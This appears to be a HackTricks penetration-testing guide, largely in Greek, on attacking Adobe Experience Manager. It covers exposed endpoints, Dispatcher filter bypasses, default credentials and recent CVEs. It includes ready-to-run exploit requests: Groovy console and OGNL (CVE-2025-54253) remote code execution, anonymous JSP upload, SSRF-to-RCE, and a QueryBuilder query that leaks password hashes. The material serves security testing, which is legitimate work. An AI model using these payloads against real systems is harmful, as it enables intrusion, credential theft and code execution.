AEM (Adobe Experience Manager) Pentesting

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) είναι ένα enterprise CMS που τρέχει πάνω σε Apache Sling/Felix (OSGi) και σε ένα Java Content Repository (JCR). Από την προοπτική ενός attacker, οι AEM instances πολύ συχνά εκθέτουν επικίνδυνα development endpoints, αδύναμους κανόνες Dispatcher, default credentials και μια μεγάλη λίστα CVEs που επιδιορθώνονται κάθε τρίμηνο.

The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Άλλα γρήγορα σημάδια:

  • /etc.clientlibs/ στατικό path παρόν (επιστρέφει JS/CSS).
  • /libs/granite/core/content/login.html σελίδα login με banner “Adobe Experience Manager”.
  • </script><!--/* CQ */--> σχόλιο στο κάτω μέρος του HTML.

2. Υψηλής αξίας μη αυθεντικοποιημένα endpoints

PathΤι παίρνετεΣημειώσεις
/.json, /.1.jsonJCR nodes via DefaultGetServletΣυχνά μπλοκάρεται, αλλά Dispatcher bypass (βλέπε παρακάτω) λειτουργεί.
/bin/querybuilder.json?path=/QueryBuilder APILeak του page tree, εσωτερικά paths, ονόματα χρηστών.
/system/console/status-*, /system/console/bundlesOSGi/Felix console403 από προεπιλογή; αν εκτεθεί & βρεθούν creds ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPackage ManagerΕπιτρέπει authenticated content packages → ανέβασμα JSP payload.
/etc/groovyconsole/**AEM Groovy ConsoleΑν εκτεθεί → αυθαίρετη εκτέλεση Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonAudit logsΑποκάλυψη πληροφοριών.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpXSS vector.
/adminui/debugAEM Forms on JEE Struts dev-mode OGNL evaluatorΣε λανθασμένα διαμορφωμένες εγκαταστάσεις του Forms (CVE-2025-54253) αυτό το endpoint εκτελεί μη-αυθεντικοποιημένο OGNL → RCE.

Dispatcher bypass tricks (still working in 2025/2026)

Οι περισσότερες production sites βρίσκονται πίσω από τον Dispatcher (reverse-proxy). Κανόνες φιλτραρίσματος συχνά παρακάμπτονται κακοποιώντας κωδικοποιημένους χαρακτήρες ή επιτρεπτές στατικές επεκτάσεις.

Classic semicolon + allowed extension

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

Εάν ο Dispatcher επιτρέπει encoded slashes, αυτό επιστρέφει JSON ακόμη και όταν το /bin υποτίθεται ότι είναι απαγορευμένο.


3. Common misconfigurations (still alive in 2026)

  1. Anonymous POST servletPOST /.json with :operation=import σας επιτρέπει να δημιουργήσετε νέα JCR κόμβους. Ο αποκλεισμός *.json POST στον Dispatcher το διορθώνει.
  2. World-readable user profiles – το προεπιλεγμένο ACL χορηγεί jcr:read στο /home/users/**/profile/* σε όλους.
  3. Default credentialsadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter enabled ⇒ reflected XSS via ?debug=layout (CVE-2016-7882, ακόμα εντοπίζεται σε παλαιές εγκαταστάσεις 6.4).
  5. Groovy Console exposed – remote code execution με την αποστολή ενός Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
  1. Dispatcher encoded-slash gap/bin/querybuilder.json and /etc/truststore.json προσβάσιμα με %2f/%3B ακόμα και όταν αποκλείονται από τα path filters.
  2. AEM Forms Struts devMode left enabled/adminui/debug?expression= αξιολογεί OGNL χωρίς auth (CVE-2025-54253) οδηγώντας σε unauth RCE; σε συνδυασμό XXE στην υποβολή Forms (CVE-2025-54254) επιτρέπει ανάγνωση αρχείων.

4. Πρόσφατες ευπάθειες (service-pack cadence)

ΗμερομηνίαCVE / BulletinΕπηρεαζόμεναΕπίπτωση
Dec 2025APSB25-115, CVE-2025-64537/645396.5.24 & earlier, Cloud 2025.12Multiple critical/stored XSS → code execution via author UI.
Sep 2025APSB25-906.5.23 & earlierSecurity feature bypass chain (Dispatcher auth checker) – upgrade to 6.5.24/Cloud 2025.12.
Aug 2025CVE-2025-54253 / 54254 (AEM Forms JEE)Forms 6.5.23.0 and earlierDevMode OGNL RCE + XXE file read, unauthenticated.
Jun 2025APSB25-486.5.23 & earlierStored XSS and privilege escalation in Communities components.
Dec 2024APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74)6.5.22 & earlierDOM/Stored XSS, αυθαίρετη εκτέλεση κώδικα (χαμηλά προνόμια).
Dec 2023APSB23-72≤ 6.5.18DOM-based XSS μέσω ειδικά διαμορφωμένου URL.

Ελέγχετε πάντα το APSB bulletin που αντιστοιχεί στο service-pack του πελάτη και πιέστε για την πιο πρόσφατη 6.5.24 (Nov 26, 2025) ή Cloud Service 2025.12. Το AEM Forms σε JEE απαιτεί το δικό του add-on hotfix 6.5.0-0108+.


5. Αποσπάσματα εκμετάλλευσης

5.1 RCE via dispatcher bypass + JSP upload

Αν το anonymous write είναι δυνατό:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Τώρα κάντε αίτημα στο /content/evil.jsp – το JSP εκτελείται με τον χρήστη διεργασίας του AEM.

5.2 SSRF to RCE (παλαιότερες < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py από το aem-hacker αυτοματοποιεί ολόκληρη την αλυσίδα.

5.3 OGNL RCE στο AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Αν είναι ευάλωτο, το HTTP body περιέχει το command output.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Επιστρέφει κόμβους χρήστη που περιλαμβάνουν rep:password hashes όταν τα anonymous read ACLs είναι προεπιλεγμένα.


6. Εργαλεία

  • aem-hacker – πολυδύναμο enumeration script, υποστηρίζει dispatcher bypass, SSRF detection, default-creds checks και άλλα.
python3 aem_hacker.py -u https://target --host attacker-ip
  • Tenable WAS plugin 115065 – Εντοπίζει QueryBuilder hash disclosure & encoded-slash bypass αυτόματα (δημοσιεύθηκε Δεκ 2025).
  • Content brute-force – Πραγματοποιήστε αναδρομικά αιτήσεις στο /_jcr_content.(json|html) για να ανακαλύψετε κρυφά components.
  • osgi-infect – ανεβάζει κακόβουλο OSGi bundle μέσω /system/console/bundles αν υπάρχουν creds.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks